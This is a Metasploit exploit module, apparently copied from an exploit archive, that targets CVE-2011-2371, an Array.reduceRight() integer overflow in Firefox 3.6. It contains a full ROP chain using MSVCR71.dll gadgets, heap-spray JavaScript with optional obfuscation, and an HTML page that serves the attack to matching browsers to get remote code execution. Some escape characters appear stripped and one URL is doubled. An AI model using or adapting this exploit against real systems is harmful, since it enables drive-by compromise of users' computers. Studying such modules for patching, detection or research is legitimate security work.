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# Title : Mozilla Firefox Array.reduceRight() Integer Overflow
# Published : 2011-10-13
# Author :
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##
# $Id: mozilla_reduceright.rb 13909 2011-10-13 03:16:15Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = AverageRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'           => "Mozilla Firefox Array.reduceRight() Integer Overflow",
			'Description'    => %q{
					This module exploits a vulnerability found in Mozilla Firefox 3.6. When an
				array object is configured with a large length value, the reduceRight() method
				may cause an invalid index being used, allowing abitrary remote code execution.
				Please note that the exploit requires a longer amount of time (compare to a
				typical browser exploit) in order to gain control of the machine.
			},
			'License'        => MSF_LICENSE,
			'Version'        => "$Revision: 13909 $",
			'Author'         =>
				[
					'Chris Rohlf',    #Matasano Security (Initial discovery according to Mozilla.org)
					'Yan Ivnitskiy',  #Matasano Security (Initial discovery with Chris?)
					'Matteo Memelli', #PoC from Exploit-DB
					'dookie2000ca',   #"Helping" ryujin (Matteo)
					'sinn3r',         #Metasploit
				],
			'References'     =>
				[
					['CVE', '2011-2371'],
					['URL', 'http://http://www.exploit-db.com/exploits/17974/'],
					['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=664009']
				],
			'Payload'        =>
				{
					'BadChars'        => "x00",
					'PrependEncoder'  => "xbcx0cx0cx0cx0c",
				},
			'DefaultOptions'  =>
				{
					'ExitFunction' => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					#Windows XP / Vista / 7
					[ 'Mozilla Firefox 3.6.16', {} ],
				],
			'Privileged'     => false,
			'DisclosureDate' => "Jun 21 2011",
			'DefaultTarget'  => 0
		))

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
			], self.class)
	end

	def junk
		return rand_text_alpha(4).unpack("L")[0].to_i
	end

	def on_request_uri(cli, request)

		agent = request.headers['User-Agent']
		if agent !~ /Firefox/3.6.[16|17]/
			vprint_error("This browser is not supported: #{agent.to_s}")
			send_not_found(cli)
			return
		end

		#mona.py tekniq! + Payload
		rop = [
			0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
			0x7c37a140,  # Make EAX readable
			0x7c37591f,  # PUSH ESP # ... # POP ECX # POP EBP # RETN (MSVCR71.dll)
			0x7c348b06,  # EBP (NOP)
			0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
			0x7c37a140,  # <- VirtualProtect() found in IAT
			0x7c3530ea,  # MOV EAX,DWORD PTR DS:[EAX] # RETN (MSVCR71.dll)
			0x7c346c0b,  # Slide, so next gadget would write to correct stack location
			0x7c376069,  # MOV [ECX+1C],EAX # P EDI # P ESI # P EBX # RETN (MSVCR71.dll)
			0x7c348b06,  # EDI (filler)
			0x7c348b06,  # will be patched at runtime (VP), then picked up into ESI
			0x7c348b06,  # EBX (filler)
			0x7c376402,  # POP EBP # RETN (msvcr71.dll)
			0x7c345c30,  # ptr to push esp #  ret  (from MSVCR71.dll)
			0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
			0xfffff82f,  # size 20001 bytes
			0x7c351e05,  # NEG EAX # RETN (MSVCR71.dll)
			0x7c354901,  # POP EBX # RETN (MSVCR71.dll)
			0xffffffff,  # pop value into ebx
			0x7c345255,  # INC EBX # FPATAN # RETN (MSVCR71.dll)
			0x7c352174,  # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN (MSVCR71.dll)
			0x7c34d201,  # POP ECX # RETN (MSVCR71.dll)
			0x7c38b001,  # RW pointer (lpOldProtect) (-> ecx)
			0x7c34b8d7,  # POP EDI # RETN (MSVCR71.dll)
			0x7c34b8d8,  # ROP NOP (-> edi)
			0x7c344f87,  # POP EDX # RETN (MSVCR71.dll)
			0xffffffc0,  # value to negate, target value : 0x00000040, target: edx
			0x7c351eb1,  # NEG EDX # RETN (MSVCR71.dll)
			0x7c346c0a,  # POP EAX # RETN (MSVCR71.dll)
			0x90909090,  # NOPS (-> eax)
			0x7c378c81,  # PUSHAD # ADD AL,0EF # RETN (MSVCR71.dll)
		].pack('V*')

		table = [0x4141].pack('v*')
		table << [
			0x0c000048,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
		].pack('V*')
		table << [0x4141].pack('v*')
		table << [
			0x7c370eef,
			junk,
		].pack('V*')
		table << [0x4141].pack('v*')
		table << [
			0x3410240c,
			0x0c00007c,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			junk,
			0x0c00002e
		].pack('V*')

		p = payload.encoded
		arch = Rex::Arch.endian(target.arch)
		js_payload = Rex::Text.to_unescape(rop + p, arch)
		js_ptrs    = Rex::Text.to_unescape(table, arch)

		#Pretty much based on Matteo's code except for the size adjustment to avoid a busted heap
		js = <<-JS
		var applet = document.getElementById('MyApplet');

		function spray() {
			var ptrs = unescape("#{js_ptrs}");

			var bheader  = 0x12/2;
			var nullt    = 0x2/2;

			var espoffset  = (7340 /2) - ptrs.length;
			var esppadding = unescape("%u0c0c%u0c0c");
			while(esppadding.length < espoffset) esppadding += esppadding;
			esppadding = esppadding.substring(0, espoffset);

			var payload = unescape("#{js_payload}");

			var tr_padding = unescape("%u0c0c%u0c0c");
			while (tr_padding.length < 0x7fa00) {tr_padding += tr_padding;}

			var dummy = ptrs + esppadding + payload + tr_padding;
			var hspray = dummy.substring(0,0x7fa00 - bheader - nullt);

			HeapBlocks = new Array()
			for (i=0;i<0x60;i++){
				HeapBlocks[i] += hspray;
			}
		}
		spray();
		obj = new Array;
		obj.length = 2197815302;
		f = function trigger(prev, myobj, indx, array) {
			alert(myobj[0]);
		}
		obj.reduceRight(f,1,2,3);
		JS

		js = js.gsub(/^tt/, '')

		if datastore['OBFUSCATE']
			js = ::Rex::Exploitation::JSObfu.new(js)
			js.obfuscate
		end

		html = <<-HTML
		<html>
		<head>
		</head>
		<body>
		<APPLET id="MyApplet" code="trigger.class" width=150 height=50>
		You need a Java-enabled browser to pwn this.
		</APPLET>
		<script>
		#{js}
		</script>
		</body>
		<html>
		HTML

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
		send_response(cli, html, {'Content-Type'=>'text/html'})
	end
end